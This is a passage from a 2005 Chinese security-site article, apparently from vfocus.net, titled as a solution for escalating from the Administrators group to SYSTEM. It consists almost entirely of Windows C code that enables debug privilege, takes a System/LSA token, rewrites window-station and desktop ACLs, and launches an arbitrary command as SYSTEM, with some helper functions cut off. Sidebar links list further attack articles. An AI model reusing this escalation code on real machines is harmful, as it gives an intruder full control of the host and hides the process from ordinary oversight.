首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
管理员组获取系统权限的完美解决方案
来源:www.vfocus.net 作者:vfocus 发布时间:2005-04-30  

管理员组获取系统权限的完美解决方案

D ProcessCount = 0;
BOOL ret=FALSE;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{

if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
{
//*ppsid = pProcessInfo[CurrentProcess].pUserSid;
DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
*ppsid = (PSID) HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (*ppsid == NULL)
break;
if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
break;
}
ret=TRUE;
break;
}
}

WTSFreeMemory(pProcessInfo);
}

return ret;
}

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL.
if (NULL == ppsid)
goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
goto Cleanup;

ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);

if (ptg == NULL)
goto Cleanup;
}


// Get the token group information from the access token.

if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{
goto Cleanup;
}

// Loop through the groups to find the logon SID.

for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
== SE_GROUP_LOGON_ID)
{
// Found the logon SID; make a copy of it.

dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
*ppsid = (PSID) HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (*ppsid == NULL)
goto Cleanup;
if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
goto Cleanup;
}
break;
}

bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

if (ptg != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

return bSuccess;
}


VOID FreeLogonSID (PSID *ppsid)
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}


BOOL StartInteractiveClientProcess (
LPTSTR lpszUsername, // client to log on
LPTSTR lpszDomain, // domain of client's account
LPTSTR lpszPassword, // client's password
LPTSTR lpCommandLine, // command line to execute
HANDLE Token = NULL
)
{
HANDLE hToken;
HDESK hdesk = NULL;
HWINSTA hwinsta = NULL, hwinstaSave = NULL;
PROCESS_INFORMATION pi;
PSID pSid = NULL;
STARTUPINFO si;
BOOL bResult = FALSE;

// Log the client on to the local computer.

if(Token!=NULL)
{
printf("%08x\n", Token);
hToken = Token;
}
else if (!LogonUser(
lpszUsername,
lpszDomain,
lpszPassword,
LOGON32_LOGON_INTERACTIVE,
LOGON32_PROVIDER_DEFAULT,
&hToken) )
{
goto Cleanup;
}

// Save a handle to the caller's current window station.

if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
goto Cleanup;

// Get a handle to the interactive window station.

hwinsta = OpenWindowStation(
"winsta0", // the interactive window station
FALSE, // handle is not inheritable
READ_CONTROL | WRITE_DAC); // rights to read/write the DACL

if (hwinsta == NULL)
goto Cleanup;

// To get the correct default desktop, set the caller's
// window station to the interactive window station.

if (!SetProcessWindowStation(hwinsta))
goto Cleanup;

// Get a handle to the interactive desktop.

hdesk = OpenDesktop(
"default", // the interactive window station
0, // no interaction with other desktop processes
FALSE, // handle is not inheritable
READ_CONTROL | // request the rights to read and write the DACL
WRITE_DAC |
DESKTOP_WRITEOBJECTS |
DESKTOP_READOBJECTS);

// Restore the caller's window station.

if (!SetProcessWindowStation(hwinstaSave))
goto Cleanup;

if (hdesk == NULL)
goto Cleanup;

// Get the SID for the client's logon session.

if (!GetLogonSID(hToken, &pSid))
goto Cleanup;

// Allow logon SID full access to interactive window station.

if (! AddAceToWindowStation(hwinsta, pSid) )
goto Cleanup;

// Allow logon SID full access to interactive desktop.

if (! AddAceToDesktop(hdesk, pSid) )
goto Cleanup;

// Impersonate client to ensure access to executable file.

if (! ImpersonateLoggedOnUser(hToken) )
goto Cleanup;

// Initialize the STARTUPINFO structure.
// Specify that the process runs in the interactive desktop.

ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb= sizeof(STARTUPINFO);
si.lpDesktop = TEXT("winsta0\\default"); //You can use EnumWindowStations to enum desktop

// Launch the process in the client's logon session.

bResult = CreateProcessAsUser(
hToken, // client's access token
NULL, // file to execute
lpCommandLine, // command line
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags
NULL, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);

// End impersonation of client.

RevertToSelf();

goto Cleanup;
//return bResult; <------------------------------------------------------------------------

if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
}

if (pi.hThread != INVALID_HANDLE_VALUE)
CloseHandle(pi.hThread);

Cleanup:

if (hwinstaSave != NULL)
SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

if (pSid)
FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

if (hwinsta)
CloseWindowStation(hwinsta);

if (hdesk)
CloseDesktop(hdesk);

// Close the handle to the client's access token.

if (hToken != INVALID_HANDLE_VALUE)
CloseHandle(hToken);

return bResult;
}

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
{
ACCESS_ALLOWED_ACE *pace;
ACL_SIZE_INFORMATION aclSizeInfo;
BOOL bDaclExist;
BOOL bDaclPresent;
BOOL bSuccess = FALSE;
DWORD dwNewAclSize;
DWORD dwSidSize = 0;
DWORD dwSdSizeNeeded;
PACL pacl;
PACL pNewAcl;
PSECURITY_DESCRIPTOR psd = NULL;
PSECURITY_DESCRIPTOR psdNew = NULL;
PVOID pTempAce;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
unsigned int i;

__try
{
// Obtain the DACL for the window station.

if (!GetUserObjectSecurity(
hwinsta,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);

if (psd == NULL)
__leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);

if (psdNew == NULL)
__leave;

dwSidSize = dwSdSizeNeeded;

if (!GetUserObjectSecurity(
hwinsta,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
__leave;
}
else
__leave;

// Create a new DACL.

if (!InitializeSecurityDescriptor(
psdNew,
SECURITY_DESCRIPTOR_REVISION)
)
__leave;

// Get the DACL from the security descriptor.

if (!GetSecurityDescriptorDacl(
psd,
&bDaclPresent,
&pacl,
&bDaclExist)
)
__leave;

// Initialize the ACL.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);

// Call only if the DACL is not NULL.

if (pacl != NULL)
{
// get the file ACL size info
if (!GetAclInformation(
pacl,
(LPVOID)&aclSizeInfo,
sizeof(ACL_SIZE_INFORMATION),
AclSizeInformation)
)
__leave;
}

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));

// Allocate memory for the new ACL.

pNewAcl = (PACL)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwNewAclSize);

if (pNewAcl == NULL)
__leave;

// Initialize the new DACL.

if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
__leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent)
{
// Copy the ACEs to the new ACL.
if (aclSizeInfo.AceCount)
{
for (i=0; i < aclSizeInfo.AceCount; i++)
{
// Get an ACE.
if (!GetAce(pacl, i, &pTempAce))
__leave;

// Add the ACE to the new ACL.
if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
pTempAce,
((PACE_HEADER)pTempAce)->AceSize)
)
__leave;
}
}
}

// Add the first ACE to the window station.

pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
sizeof(DWORD));

if (pace == NULL)
__leave;

pace->Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
pace->Header.AceSize = sizeof(ACCESS_ALLOWED_ACE) +
GetLengthSid(psid) - sizeof(DWORD);
pace->Mask = GENERIC_ACCESS;

if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
__leave;

if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
(LPVOID)pace,
pace->Header.AceSize)
)
__leave;

// Add the second ACE to the window station.

pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
pace->Mask = WINSTA_ALL;

if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
(LPVOID)pace,
pace->Header.AceSize)
)
__leave;

// Set a new DACL for the security descriptor.

if (!SetSecurityDescriptorDacl(
psdNew,
TRUE,
pNewAcl,
FALSE)
)
__leave;

// Set the new security descriptor for the window station.

if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
__leave;

// Indicate success.

bSuccess = TRUE;
}
__finally
{
// Free the allocated buffers.

if (pace != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

if (pNewAcl != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

if (psd != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

if (psdNew != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
}

return bSuccess;

}

BOOL AddAceToDesktop(HDESK hdesk, PSID psid)
{
ACL_SIZE_INFORMATION aclSizeInfo;
BOOL bDaclExist;
BOOL bDaclPresent;
BOOL bSuccess = FALSE;
DWORD dwNewAclSize;
DWORD dwSidSize = 0;
DWORD dwSdSizeNeeded;
PACL pacl;
PACL pNewAcl;
PSECURITY_DESCRIPTOR psd = NULL;
PSECURITY_DESCRIPTOR psdNew = NULL;
PVOID pTempAce;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
unsigned int i;

__try
{
// Obtain the security descriptor for the desktop object.

if (!GetUserObjectSecurity(
hdesk,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded))
{
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded );

if (psd == NULL)
__leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);

if (psdNew == NULL)
__leave;

dwSidSize = dwSdSizeNeeded;

if (!GetUserObjectSecurity(
hdesk,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
__leave;
}
else
__leave;
}

// Create a new security descriptor.

if (!InitializeSecurityDescriptor(
psdNew,
SECURITY_DESCRIPTOR_REVISION)
)
__leave;

// Obtain the DACL from the security descriptor.

if (!GetSecurityDescriptorDacl(
psd,
&bDaclPresent,
&pacl,
&bDaclExist)
)
__leave;

// Initialize.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);

// Call only if NULL DACL.

if (pacl != NULL)
{
// Determine the size of the ACL information.

if (!GetAclInformation(
pacl,
(LPVOID)&aclSizeInfo,
sizeof(ACL_SIZE_INFORMATION),
AclSizeInformation)
)
__leave;
}

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo.AclBytesInUse +
sizeof(ACCESS_ALLOWED_ACE) +
GetLengthSid(psid) - sizeof(DWORD);

// Allocate buffer for the new ACL.

pNewAcl = (PACL)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwNewAclSize);

if (pNewAcl == NULL)
__leave;

// Initialize the new ACL.

if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
__leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent)
{
// Copy the ACEs to the new ACL.
if (aclSizeInfo.AceCount)
{
for (i=0; i < aclSizeInfo.AceCount; i++)
{
// Get an ACE.
if (!GetAce(pacl, i, &pTempAce))
__leave;

// Add the ACE to the new ACL.
if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
pTempAce,
((PACE_HEADER)pTempAce)->AceSize)
)
__leave;
}
}
}

// Add ACE to the DACL.

if (!AddAccessAllowedAce(
pNewAcl,
ACL_REVISION,
DESKTOP_ALL,
psid)
)
__leave;

// Set new DACL to the new security descriptor.

if (!SetSecurityDescriptorDacl(
psdNew,
TRUE,
pNewAcl,
FALSE)
)
__leave;

// Set the new security descriptor for the desktop object.

if (!SetUserObjectSecurity(hdesk, &si, psdNew))
__leave;

// Indicate success.

bSuccess = TRUE;
}
__finally
{
// Free buffers.

if (pNewAcl != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

if (psd != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

if (psdNew != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
}

return bSuccess;
}

int main(int argc, char **argv)
{
HANDLE hToken = NULL;
EnablePrivilege(SE_DEBUG_NAME);
hToken = GetLSAToken();
StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);
return 0;
}

上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-)



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·SQL Server提升权限相关命令及防
·再谈Radmin——对“自己丰衣足食
·在TCP三次握手后插入伪造的TCP包
·一种新的穿透防火墙的数据传输技
·Man-in-the-middle-attacks In P
·GIF89a结合动网后台(7.1以前)取
·细说暴库的原理与方法
·SQLServer提升权限相关命令
·rootkit的使用
·在Windows 2003中HOOK ZwCreateP
·Hackfing in Mysql5
·php注入专题
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved